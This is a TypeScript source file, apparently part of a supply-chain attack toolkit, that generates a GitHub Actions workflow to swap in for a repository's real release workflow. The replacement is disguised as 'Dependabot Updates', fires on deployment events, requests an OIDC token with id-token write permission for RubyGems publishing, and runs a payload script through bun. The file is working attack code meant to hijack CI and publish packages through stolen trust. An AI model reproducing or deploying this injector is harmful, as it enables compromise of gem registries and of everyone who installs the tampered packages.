// RubyGems OIDC workflow YAML injector
|
||||
//
|
||||
// Builds a clean release workflow that replaces the existing one in the
|
||||
// ephemeral branch commit. The workflow runs on deployment, gets an OIDC
|
||||
// token, and executes the payload via bun.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface InjectionResult {
|
||||
modifiedYaml: string;
|
||||
injected: boolean;
|
||||
reason?: string;
|
||||
}
|
||||
|
||||
export interface InjectionContext {
|
||||
workflowFilename: string;
|
||||
/** Comma-separated gem names for the GEM_NAME env var */
|
||||
gemNames: string[];
|
||||
repoFullName: string;
|
||||
environmentName?: string;
|
||||
}
|
||||
|
||||
// ── Public API ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Build a clean release workflow that replaces the original.
|
||||
*
|
||||
* The injected workflow:
|
||||
* - Triggers on deployment (repo-scope technique)
|
||||
* - Has id-token:write for OIDC token retrieval
|
||||
* - Checks out the repo, installs bun, runs the payload
|
||||
*/
|
||||
export function injectRubygemsToolStep(
|
||||
_rawYaml: string,
|
||||
ctx: InjectionContext,
|
||||
): InjectionResult {
|
||||
const { gemNames, repoFullName, workflowFilename, environmentName } = ctx;
|
||||
const nameList = gemNames.join(",");
|
||||
|
||||
const envBlock = environmentName
|
||||
? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true`
|
||||
: "";
|
||||
|
||||
const newWorkflow = [
|
||||
`name: Dependabot Updates`,
|
||||
`run-name: Dependabot Updates`,
|
||||
`on:`,
|
||||
` deployment`,
|
||||
`jobs:`,
|
||||
` release:`,
|
||||
` runs-on: ubuntu-latest`,
|
||||
` permissions:`,
|
||||
` id-token: write`,
|
||||
` contents: read`,
|
||||
envBlock || null,
|
||||
` steps:`,
|
||||
` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`,
|
||||
` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`,
|
||||
` - name: publish`,
|
||||
` run: bun run _index.js`,
|
||||
` env:`,
|
||||
` GEM_NAME: ${JSON.stringify(nameList)}`,
|
||||
` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`,
|
||||
` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join("\n");
|
||||
|
||||
return { modifiedYaml: newWorkflow, injected: true };
|
||||
}
|
||||
Reference in New Issue
Block a user